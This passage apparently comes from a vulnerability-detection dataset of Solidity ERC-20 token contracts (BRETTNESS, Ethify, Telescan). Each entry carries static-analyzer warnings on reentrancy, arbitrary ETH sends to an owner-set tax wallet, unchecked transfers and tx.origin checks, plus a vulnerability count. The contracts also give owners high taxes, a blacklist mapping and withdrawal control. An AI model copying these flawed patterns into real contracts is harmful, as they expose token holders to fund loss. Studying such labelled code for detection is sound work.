path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bf5d2dd\n\t\t// reentrancy-events | ID: 709a345\n\t\t// reentrancy-benign | ID: 042f15d\n\t\t// reentrancy-eth | ID: fea5cbe\n\t\t// reentrancy-eth | ID: 39fd08f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a785f4d): BRETTNESS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a785f4d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bf5d2dd\n\t\t// reentrancy-events | ID: 709a345\n\t\t// reentrancy-eth | ID: fea5cbe\n\t\t// reentrancy-eth | ID: 39fd08f\n\t\t// arbitrary-send-eth | ID: a785f4d\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1d40bbd): BRETTNESS.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 1d40bbd: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 1d40bbd\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b00bf5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b00bf5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 07b16ec): BRETTNESS.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 07b16ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f9148a2): BRETTNESS.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f9148a2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59839bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59839bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: b00bf5b\n\t\t// unused-return | ID: 07b16ec\n\t\t// reentrancy-eth | ID: 59839bc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b00bf5b\n\t\t// unused-return | ID: f9148a2\n\t\t// reentrancy-eth | ID: 59839bc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b00bf5b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 59839bc\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: b00bf5b\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1055.sol",
"size_bytes": 23167,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ethify is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ef6d815): Ethify._taxWallet should be immutable \n\t// Recommendation for ef6d815: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: acc83fd): Ethify._initialBuyTax should be constant \n\t// Recommendation for acc83fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12ef805): Ethify._initialSellTax should be constant \n\t// Recommendation for 12ef805: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4f90ba): Ethify._finalBuyTax should be constant \n\t// Recommendation for b4f90ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 223c784): Ethify._finalSellTax should be constant \n\t// Recommendation for 223c784: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e819bc): Ethify._reduceBuyTaxAt should be constant \n\t// Recommendation for 5e819bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e865e1): Ethify._reduceSellTaxAt should be constant \n\t// Recommendation for 8e865e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36d1d9f): Ethify._preventSwapBefore should be constant \n\t// Recommendation for 36d1d9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ethify\";\n\n string private constant _symbol = unicode\"ETHIFY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68ae164): Ethify._taxSwapThreshold should be constant \n\t// Recommendation for 68ae164: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84d93d9): Ethify._maxTaxSwap should be constant \n\t// Recommendation for 84d93d9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 220173c): Ethify.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 220173c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7380c64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7380c64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 28d91cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 28d91cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7380c64\n\t\t// reentrancy-benign | ID: 28d91cf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7380c64\n\t\t// reentrancy-benign | ID: 28d91cf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 991dd39): Ethify._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 991dd39: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 28d91cf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7380c64\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3cd7bfa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3cd7bfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: aeef84f): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for aeef84f: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 590d729): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 590d729: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: aeef84f\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3cd7bfa\n\t\t\t\t// reentrancy-eth | ID: 590d729\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 3cd7bfa\n\t\t\t\t\t// reentrancy-eth | ID: 590d729\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 590d729\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3cd7bfa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 590d729\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 590d729\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3cd7bfa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3cd7bfa\n\t\t// reentrancy-events | ID: 7380c64\n\t\t// reentrancy-benign | ID: 28d91cf\n\t\t// reentrancy-eth | ID: 590d729\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dc8b321): Ethify.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for dc8b321: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3cd7bfa\n\t\t// reentrancy-events | ID: 7380c64\n\t\t// reentrancy-eth | ID: 590d729\n\t\t// arbitrary-send-eth | ID: dc8b321\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f474cab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f474cab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0717862): Ethify.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0717862: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e2ce243): Ethify.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e2ce243: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e9ddd20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e9ddd20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f474cab\n\t\t// reentrancy-eth | ID: e9ddd20\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f474cab\n\t\t// unused-return | ID: 0717862\n\t\t// reentrancy-eth | ID: e9ddd20\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f474cab\n\t\t// unused-return | ID: e2ce243\n\t\t// reentrancy-eth | ID: e9ddd20\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f474cab\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e9ddd20\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10550.sol",
"size_bytes": 19783,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract tscan is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isBlacklisted;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67be363): tscan.MarketingWallet should be immutable \n\t// Recommendation for 67be363: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private MarketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4b735d1): tscan.DevWallet should be immutable \n\t// Recommendation for 4b735d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private DevWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"Telescan\";\n\n string private constant _symbol = \"TSCAN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9737966): tscan.SwapTokens should be constant \n\t// Recommendation for 9737966: Add the 'constant' attribute to state variables that never change.\n uint256 private SwapTokens = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae3bafe): tscan.maxSwapTokens should be constant \n\t// Recommendation for ae3bafe: Add the 'constant' attribute to state variables that never change.\n uint256 private maxSwapTokens = 20000000 * 10 ** _decimals;\n\n uint256 public maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 private buyTaxes = 30;\n\n uint256 private sellTaxes = 40;\n\n uint256 private _Buys_In = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a86a61): tscan.uniswapV2Router should be immutable \n\t// Recommendation for 1a86a61: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca7bd00): tscan.uniswapV2Pair should be immutable \n\t// Recommendation for ca7bd00: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool public tradeEnable = false;\n\n bool private _SwapBackEnable = false;\n\n bool private inSwap = false;\n\n event FeesRecieverUpdated(address indexed _newWallet);\n\n event ExcludeFromFeeUpdated(address indexed account);\n\n event includeFromFeeUpdated(address indexed account);\n\n event SwapThreshouldUpdated(\n uint256 indexed minToken,\n uint256 indexed maxToken\n );\n\n event SwapBackSettingUpdated(bool indexed state);\n\n event ERC20TokensRecovered(uint256 indexed _amount);\n\n event TradingOpenUpdated();\n\n event ETHBalanceRecovered();\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n if (block.chainid == 56) {\n uniswapV2Router = IUniswapV2Router02(\n 0x10ED43C718714eb63d5aA57B78B54704E256024E\n );\n } else if (block.chainid == 1 || block.chainid == 5) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n } else if (block.chainid == 42161) {\n uniswapV2Router = IUniswapV2Router02(\n 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506\n );\n } else if (block.chainid == 97) {\n uniswapV2Router = IUniswapV2Router02(\n 0xD99D1c33F9fC3444f8101754aBC46c52416550D1\n );\n } else {\n revert(\"Wrong Chain Id\");\n }\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n MarketingWallet = payable(0x183900D87a5B5DebeB6FC26002A56c32276f5f48);\n\n DevWallet = payable(0x183900D87a5B5DebeB6FC26002A56c32276f5f48);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[MarketingWallet] = true;\n\n _isExcludedFromFee[DevWallet] = true;\n\n _isExcludedFromFee[deadWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a43beac): tscan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a43beac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7786e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7786e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1130a1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1130a1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: d7786e3\n\t\t// reentrancy-eth | ID: 1130a1c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d7786e3\n\t\t// reentrancy-eth | ID: 1130a1c\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 485395b): tscan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 485395b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-eth | ID: 1130a1c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d7786e3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8974426): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8974426: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING 